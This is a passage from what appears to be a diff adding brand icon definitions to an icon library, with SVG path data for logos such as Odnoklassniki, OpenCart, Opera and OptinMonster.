4,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z" ], + nutritionix: [ 400, 512, [], "f3d6", "M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z" ], + "octopus-deploy": [ 512, 512, [], "e082", "M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z" ], + odnoklassniki: [ 320, 512, [], "f263", "M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z" ], + "odnoklassniki-square": [ 448, 512, [], "f264", "M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z" ], + "old-republic": [ 496, 512, [], "f510", "M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z" ], + opencart: [ 640, 512, [], "f23d", "M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z" ], + openid: [ 448, 512, [], "f19b", "M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z" ], + opera: [ 496, 512, [], "f26a", "M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z" ], + "optin-monster": [ 576, 512, [], "f23c", "M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 